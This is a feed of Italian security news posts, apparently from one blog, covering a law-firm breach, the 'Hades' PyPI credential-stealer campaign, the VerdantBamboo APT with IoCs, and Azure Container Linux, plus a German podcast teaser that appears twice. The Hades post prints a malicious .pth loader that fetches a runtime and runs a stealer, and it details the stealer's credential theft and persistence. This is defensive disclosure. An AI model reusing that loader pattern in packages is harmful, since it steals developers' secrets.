Le law firm concentrano un livello di riservatezza dei dati che pochi altri settori possono eguagliare: memorie difensive in contenziosi attivi, documenti M&A pre-annuncio, segreti industriali, comunicazioni privilegiate attorney-client, strategie fiscali. La minaccia di pubblicazione crea pressioni sia sulla firma sia sui clienti rappresentati — un effetto moltiplicatore che rende la negoziazione più probabile rispetto ad altri settori. Alcuni dei clienti più importanti di Weil includono aziende Fortune 500, fondi private equity e istituzioni finanziarie: la pubblicazione di loro documenti strategici avrebbe conseguenze che vanno ben oltre il danno reputazionale della firma.

Due righe per i difensori

• Verifica out-of-band dell’identità: qualsiasi richiesta di accesso remoto da presunto personale IT deve essere verificata tramite canale separato (non il numero fornito dal chiamante). Istituire procedure di autenticazione per gli interventi tecnici da remoto.
• Politiche di accesso fisico: nessun tecnico esterno deve poter connettere dispositivi USB o storage alle macchine aziendali senza autorizzazione documentata e supervisione. Badge visitatori con registrazione obbligatoria.
• Allowlist degli strumenti RMM: bloccare l’installazione di RMM tool non approvati (AnyDesk, ConnectWise, TeamViewer e simili) tramite application control.
• DLP e monitoraggio esfiltrazione: alert su uso anomalo di WinSCP o rclone, trasferimenti bulk verso storage cloud esterni, accessi insoliti a repository documentali fuori orario.
• Formazione specifica sul vishing: simulazioni di callback phishing e IT impersonation per tutti i dipendenti, con enfasi sul non fornire mai accesso remoto a chiamanti inbound non verificati.
• MFA resistente al phishing: FIDO2/hardware token per tutti gli accessi ai sistemi documentali.

Fonti: The Insurer, BleepingComputer, FBI FLASH-20260526-01, EclecticIQ, Dark Reading

(in)sicurezza digitale

2026-06-07 10:33:46

Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori

Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione

Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica

L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

• Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
• Localizza il payload _index.js nella directory del pacchetto
• Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
• Esegue bun run _index.js e scrive il sentinel

# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione

Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API

Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi

I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori

Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave

Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads w...

Socket found 37 malicious PyPI wheels that abuse Python startup hooks to launch a Bun-powered credential stealer tied to Mini Shai-Hulud/Miasma.

^{Socket Research Team (Socket)}

(in)sicurezza digitale

2026-06-07 10:34:43

VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite

Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)

VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata

In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365

Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale

Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD

BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni

Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori

Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

netzpolitik.org

2026-06-06 07:46:29

Na, darfst du denn schon auf TikTok? Alle reden über Social-Media-Verbote für Jugendliche. Wir reden lieber über die Alterskontrollen, die zwingend notwendig wären, um solche Verbote durchzusetzen.

Warum würden sie das Internet umkrempeln und warum läuft die Debatte jetzt so heiß? Die neuste Podcast-Folge Off/On mit @ckoever, @roofjoke und @sebmeineck.

netzpolitik.org/podcast/na-dar…

Na, darfst du denn schon auf TikTok?

^{Chris Köver (netzpolitik.org)}

Spcnet.it

2026-06-06 08:57:37

Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes

A Microsoft Build 2026, Microsoft ha annunciato la disponibilità generale di Azure Container Linux (ACL), un sistema operativo immutabile e hardened progettato specificamente per i nodi di Azure Kubernetes Service (AKS). Contemporaneamente, è entrata in public preview Azure Linux 4.0, la prima distribuzione Linux server di Microsoft per ambienti cloud enterprise. Si tratta di un cambio di paradigma significativo nella gestione dell’infrastruttura Kubernetes: addio al configuration drift, benvenuta riproducibilità totale.

Perché un OS dedicato per Kubernetes?

Chiunque gestisca cluster Kubernetes in produzione conosce bene i problemi legati alla deriva della configurazione (configuration drift). I nodi Linux tradizionali — anche se avviati da un’immagine controllata — tendono ad accumulare modifiche nel tempo: aggiornamenti in-place, file di configurazione modificati manualmente, pacchetti installati per debugging, variazioni tra ambienti diversi. Il risultato è che due nodi teoricamente identici si comportano in modo differente, rendendo debugging e ripristino molto più complessi.

L’altro fronte critico è la superficie di attacco: un OS generalista porta con sé decine di pacchetti, servizi e porte che non hanno alcuna ragione di esistere su un nodo Kubernetes. Ogni componente non necessario è un potenziale vettore di compromissione.

Azure Container Linux nasce esattamente per risolvere entrambi i problemi.

Caratteristiche tecniche di Azure Container Linux

Sistema operativo immutabile basato su Flatcar

ACL è costruito a valle di Flatcar Container Linux, la distribuzione già nota per la sua architettura immutabile e orientata ai container. L’adozione di Flatcar come base garantisce compatibilità con l’ecosistema esistente e un design maturo e collaudato. Su ACL, il filesystem di sistema è montato in sola lettura: nessun processo, nemmeno con privilegi di root, può modificare il sistema operativo a runtime. Questo elimina alla radice la possibilità di configuration drift e rende ogni nodo perfettamente riproducibile.

Integrity Policy Enforcement (IPE)

Una delle innovazioni più rilevanti di ACL è l’integrazione del Linux Security Module IPE (Integrity Policy Enforcement). IPE verifica che solo i binari provenienti da volumi firmati e trusted possano essere eseguiti. Questo controllo si estende anche alle immagini container: grazie all’integrazione con dm-verity — il meccanismo di verifica crittografica a livello di blocco del kernel Linux — ogni layer dell’immagine container viene verificato rispetto a una firma digitale prima che qualsiasi binario al suo interno possa essere eseguito.

In pratica, anche se un attaccante riuscisse a inserire codice malevolo in un layer container o nel filesystem del nodo, IPE bloccherebbe l’esecuzione di qualsiasi binario non autorizzato. È un approccio defense-in-depth particolarmente efficace contro attacchi supply chain e compromissioni post-deployment.

Aggiornamenti tramite node image upgrade

Su un OS immutabile, gli aggiornamenti non avvengono con package manager tradizionali come apt o dnf. ACL si aggiorna esclusivamente tramite il meccanismo di node image upgrade di AKS: il nodo viene sostituito con una nuova immagine aggiornata, garantendo che lo stato di partenza sia sempre pulito e noto. Questo approccio elimina i problemi tipici degli aggiornamenti in-place e semplifica enormemente la gestione del ciclo di vita dei nodi.

Azure Linux 4.0: la distribuzione server di Microsoft

Parallelamente ad ACL, Microsoft ha annunciato la public preview di Azure Linux 4.0, una distribuzione Linux server progettata per ambienti Azure cloud su larga scala. Mentre ACL è ottimizzato per i nodi Kubernetes, Azure Linux 4.0 è pensato come base per workload generici su macchine virtuali Azure. Entrambe le distribuzioni condividono il core di Azure Linux, che fornisce coerenza e compatibilità con l’ecosistema Azure.

Come usare Azure Container Linux su AKS

ACL è disponibile come opzione di sistema operativo per i node pool di AKS. Per creare un cluster o un node pool con ACL, è sufficiente specificare AzureContainerLinux come OS SKU:

# Creare un nuovo cluster AKS con Azure Container Linux
az aks create \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --node-os-upgrade-channel NodeImage \
  --os-sku AzureContainerLinux \
  --generate-ssh-keys

# Aggiungere un node pool con ACL a un cluster esistente
az aks nodepool add \
  --resource-group myResourceGroup \
  --cluster-name myAKSCluster \
  --name acnodepool \
  --os-sku AzureContainerLinux

Il parametro --node-os-upgrade-channel NodeImage è consigliato per sfruttare appieno il modello di aggiornamento immutabile: AKS si occuperà automaticamente di sostituire i nodi con le versioni aggiornate dell’immagine OS.

Kubernetes 1.35 e Fleet Manager cross-cluster networking

Insieme all’annuncio di ACL, Microsoft Build 2026 ha portato altre novità rilevanti per AKS:

• Kubernetes 1.35 GA: la versione 1.35 è ora disponibile a livello generale su AKS e in fase di rollout in tutte le region.
• Azure Kubernetes Fleet Manager per cluster Arc-enabled (GA): gestione di flotte che includono cluster on-premises abilitati ad Azure Arc, con update, policy e placement da un singolo piano di controllo.
• Cross-cluster networking (preview): networking cross-cluster per Fleet Manager basato su Cilium gestito, con service discovery, policy enforcement e observability tramite eBPF.

Conclusione

Azure Container Linux è una risposta concreta ai problemi di sicurezza e riproducibilità dell’infrastruttura Kubernetes tradizionale. L’approccio immutabile, l’enforcement crittografico dei binari tramite IPE e dm-verity, e l’integrazione nativa con il ciclo di vita AKS lo rendono una scelta solida per chi gestisce workload critici in ambienti con requisiti di compliance (PCI-DSS, HIPAA, ISO 27001). Microsoft Build 2026 segna un momento importante per l’ecosistema AKS, con novità che coprono sicurezza OS, gestione multi-cluster e networking avanzato.

Fonte: Introducing Azure Container Linux (ACL) — Microsoft Community Hub | What’s new in AKS at Microsoft Build 2026

What's new in Azure Kubernetes Service at Microsoft Build 2026 | Microsoft Community Hub

A year ago, teams were still asking whether Kubernetes belonged anywhere near their AI workloads. That question has mostly been answered as the community...

^{coryskimming (TECHCOMMUNITY.MICROSOFT.COM)}

netzpolitik.org

2026-06-06 07:46:29

Na, darfst du denn schon auf TikTok? Alle reden über Social-Media-Verbote für Jugendliche. Wir reden lieber über die Alterskontrollen, die zwingend notwendig wären, um solche Verbote durchzusetzen.

Warum würden sie das Internet umkrempeln und warum läuft die Debatte jetzt so heiß? Die neuste Podcast-Folge Off/On mit @ckoever, @roofjoke und @sebmeineck.

netzpolitik.org/podcast/na-dar…

Na, darfst du denn schon auf TikTok?

^{Chris Köver (netzpolitik.org)}